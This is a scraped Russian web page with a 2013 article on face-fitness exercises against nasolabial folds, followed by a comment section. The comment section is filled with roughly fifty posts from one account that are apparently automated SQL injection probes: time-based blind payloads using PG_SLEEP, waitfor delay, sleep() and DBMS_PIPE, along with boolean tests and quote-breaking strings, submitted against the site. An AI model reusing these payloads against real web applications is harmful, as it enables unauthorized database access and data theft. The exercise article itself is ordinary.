• Главная
  • Цели
  • Антивозрастная программа «ЖИВИ!» // Как убрать носогубные складки (УПРАЖНЕНИЯ)

Антивозрастная программа «ЖИВИ!» // Как убрать носогубные складки (УПРАЖНЕНИЯ)

Шаг 1
Шаг 2
Шаг 3
Шаг 4
Шаг 5
Шаг 6
Шаг 7
#
Автор статьи:

Дарья Шерлаимова

Содержание статьи:

Одна из явных примет возраста - это выраженные носогубные складки. Убрать или уменьшить их поможет комплекс упражнений фитнеса для лица, который специально для вас подготовила наш инструктор Алена Россошинская.

22 октября 2013
0 просмотров
#

Откуда берутся носогубные складки? «Дело в том, что с возрастом щеки опускаются, — говорит Алена Россошинская. — Мышцы верхней части щек, которые мало участвуют в мимике, со временем слабеют и истончаются. Подкожный жир на скулах тоже уменьшается, щеки становятся плоскими и смещаются вниз, образуя залом между носом и губами».

Чтобы уменьшить или даже совсем убрать носогубные складки, нужно постараться создать объем в скулах, укрепляя мышцы верхней части щек. Тогда кожа подтянется вверх, и залом может стать гораздо менее заметным. Для этого нужно выполнять специальные упражнения фитнеса для лица от Алены Россошинской (видеозанятия).

Обязательно соблюдайте правила фитнеса для лица:

- перед занятием мойте руки и хорошенько очищайте лицо;

- выполняйте все упражнения сидя или стоя с прямой спиной;

- поставьте перед собой зеркало и следите, чтобы на лице во время упражнений не появлялись дополнительные складки и заломы;

- завершайте каждое упражнение расслаблением всех мышц лица, а каждое занятие — пальчиковым душем (пробегитесь подушечками пальцев по лицу);

- каждую неделю делайте фотографии лица, фас и профиль, чтобы отслеживать результаты;

- не занимайтесь при противопоказаниях: вирусные заболевания кожи, воспаление лицевого и тройничного нерва, активный купероз, нарушения кожного покрова из-за дерматита, гнойничков или аллергии, лор-заболевания или просто общее плохое самочувствие.

Как убрать носогубные складки: упражнения

Чтобы убрать носогубные складки, нужно заниматься регулярно. Выполняйте эти упражнения в режиме «5 тренировочных дней + 2 выходных». Чередуйте тренировки с перерывами так, как вам удобно.

1. Приподнимаем щеки

Поставьте пальцы обеих рук внешней стороной на носогубные складки. Делайте очень нежные и аккуратные надавливания вверх и в стороны — они должны быть похожи на легкую пульсацию. По сути, вы как будто приподнимаете щеки вверх. Выполняйте 1 минуту.

2. «Лепка»

Положите мизинцы на носогубные складки, остальной частью ладоней закройте щеки. Выполняйте нежное надавливание, мягкие толчковые движения, как будто подтягиваете лицо вверх, в течение 1 минуты.

3. «Улыбка солнцу»

var preloadList = ['/i/indoc/78/IMG_0330_7e3f71256c094943c2a044e4eac2c4.0.jpg','/i/indoc/73/IMG_0331_b9c4442a626a0d73292541a8e0d730.0.jpg','/i/indoc/28/IMG_0332_3cf24583f1f9e04f11d2414b452d52.0.jpg'];

for(var _i in preloadList) {

var i = new Image();

i.src = preloadList[_i];

}

Предварительно разогрейте руки — например, интенсивно разотрите ладони друг о друга. Едва касаясь пальцами кожи, выполняйте медленные поглаживающие движения от середины губ к ушам, как будто рисуете улыбку. Повторите 22 раза.

4. Упражнение с ложкой

var preloadList = ['/i/indoc/b7/IMG_0345_0d6eb1eba5711f8beddd83f245d20d.0.jpg','/i/indoc/d3/IMG_0344_d7d1863958555090bb6885a297dd9c.0.jpg'];

for(var _i in preloadList) {

var i = new Image();

i.src = preloadList[_i];

}

Закрутите губы за зубы и вставьте в рот ложку. Попытайтесь медленно приподнимать ее и в верхнем положении улыбайтесь щеками и задерживайтесь на два счета. Выполните 20 раз.

5. Улыбка со щипком

Захватите легкими щипками скуловые мышцы и медленно улыбнитесь, задерживая улыбку в финальной точке на 5-6 счетов. Расслабьтесь. Не щиплите сильно и не оттягивайте кожу — просто легко зафиксируйте мышцы. Выполните 5 раз.

Еще один совет, который поможет вам убрать носогубные складки: постарайтесь избавиться от привычки поджимать губы. Любое напряжение в этой зоне сразу передается мышцам щек и способствует образованию складок. Постарайтесь держать губы и щеки расслабленными.

Хотите заниматься фитнесом для лица онлайн с Аленой Россошинской?

В фитнес-видеотеке вы найдете все выпуски программы «Фитнес для лица».

Темы публикации

Комментарии52
По дате
#

xpkLoRel xpkLoRel
7 мес
@@F91JD
#

xpkLoRel xpkLoRel
7 мес
1????%2527%2522
#

xpkLoRel xpkLoRel
7 мес
1'"
#

xpkLoRel xpkLoRel
7 мес
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
#

xpkLoRel xpkLoRel
7 мес
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
#

xpkLoRel xpkLoRel
7 мес
PiJx3Hgi')) OR 89=(SELECT 89 FROM PG_SLEEP(15))--
#

xpkLoRel xpkLoRel
7 мес
8LxL1rez') OR 894=(SELECT 894 FROM PG_SLEEP(15))--
#

xpkLoRel xpkLoRel
7 мес
mX8CF7B9' OR 81=(SELECT 81 FROM PG_SLEEP(15))--
#

xpkLoRel xpkLoRel
7 мес
-1)) OR 382=(SELECT 382 FROM PG_SLEEP(15))--
#

xpkLoRel xpkLoRel
7 мес
-5) OR 407=(SELECT 407 FROM PG_SLEEP(15))--
#

xpkLoRel xpkLoRel
7 мес
-5 OR 165=(SELECT 165 FROM PG_SLEEP(15))--
#

xpkLoRel xpkLoRel
7 мес
ODO7uQ9T'; waitfor delay '0:0:15' --
#

xpkLoRel xpkLoRel
7 мес
1 waitfor delay '0:0:15' --
#

xpkLoRel xpkLoRel
7 мес
-1); waitfor delay '0:0:15' --
#

xpkLoRel xpkLoRel
7 мес
-1; waitfor delay '0:0:15' --
#

xpkLoRel xpkLoRel
7 мес
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
#

xpkLoRel xpkLoRel
7 мес
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
#

xpkLoRel xpkLoRel
7 мес
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
#

xpkLoRel xpkLoRel
7 мес
if(now()=sysdate(),sleep(15),0)
#

xpkLoRel xpkLoRel
7 мес
-1 OR 3+667-667-1=0+0+0+1
#

xpkLoRel xpkLoRel
7 мес
-1 OR 2+667-667-1=0+0+0+1
#

xpkLoRel xpkLoRel
7 мес
1*1
#

xpkLoRel xpkLoRel
7 мес
1*1
#

xpkLoRel xpkLoRel
7 мес
1*1
#

xpkLoRel xpkLoRel
7 мес
fmbpzXlt
#

xpkLoRel xpkLoRel
7 мес
1*1
#

xpkLoRel xpkLoRel
7 мес
@@GvRab
#

xpkLoRel xpkLoRel
7 мес
1????%2527%2522
#

xpkLoRel xpkLoRel
7 мес
1'"
#

xpkLoRel xpkLoRel
7 мес
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
#

xpkLoRel xpkLoRel
7 мес
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
#

xpkLoRel xpkLoRel
7 мес
e7JoSFo8')) OR 29=(SELECT 29 FROM PG_SLEEP(15))--
#

xpkLoRel xpkLoRel
7 мес
5zck0UnE') OR 299=(SELECT 299 FROM PG_SLEEP(15))--
#

xpkLoRel xpkLoRel
7 мес
gwN05u28' OR 616=(SELECT 616 FROM PG_SLEEP(15))--
#

xpkLoRel xpkLoRel
7 мес
-1)) OR 932=(SELECT 932 FROM PG_SLEEP(15))--
#

xpkLoRel xpkLoRel
7 мес
-5) OR 655=(SELECT 655 FROM PG_SLEEP(15))--
#

xpkLoRel xpkLoRel
7 мес
-5 OR 639=(SELECT 639 FROM PG_SLEEP(15))--
#

xpkLoRel xpkLoRel
7 мес
1 waitfor delay '0:0:15' --
#

xpkLoRel xpkLoRel
7 мес
Gu0CIGKg'; waitfor delay '0:0:15' --
#

xpkLoRel xpkLoRel
7 мес
-1); waitfor delay '0:0:15' --
#

xpkLoRel xpkLoRel
7 мес
-1; waitfor delay '0:0:15' --
#

xpkLoRel xpkLoRel
7 мес
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
#

xpkLoRel xpkLoRel
7 мес
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
#

xpkLoRel xpkLoRel
7 мес
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
#

xpkLoRel xpkLoRel
7 мес
if(now()=sysdate(),sleep(15),0)
#

xpkLoRel xpkLoRel
7 мес
-1 OR 3+326-326-1=0+0+0+1
#

xpkLoRel xpkLoRel
7 мес
-1 OR 2+326-326-1=0+0+0+1
#

xpkLoRel xpkLoRel
7 мес
1*1
#

xpkLoRel xpkLoRel
7 мес
1*1
#

xpkLoRel xpkLoRel
7 мес
1*1
#

xpkLoRel xpkLoRel
7 мес
1*1
#

xpkLoRel xpkLoRel
7 мес
bnX4bOfk
#
Автор статьи:

Дарья Шерлаимова

Содержание статьи:

Видео по теме

14+

Гимнастика для тела и духа · 24 занятия · 52 мин
14+

Кундалини-йога с Алексеем Меркуловым · 125 занятий · 52 мин
0+

Детская йога с Ликой Добрянской · 11 занятий · 14 мин
0+

Детская йога со Светланой Абрамцовой · 52 занятия · 26 мин
14+

Йога с Ольгой Булановой и Владимиром Зайцевым · 29 занятий · 52 мин
12+

Йога для начинающих с Инной Видгоф и Виктором Корольковым · 22 занятия · 52 мин
0+

Детская йога с Еленой Рожковой · 33 занятия · 26 мин
12+

Хатха-йога с Варварой Любимовой и Андреем Рыжакиным · 33 занятия · 52 мин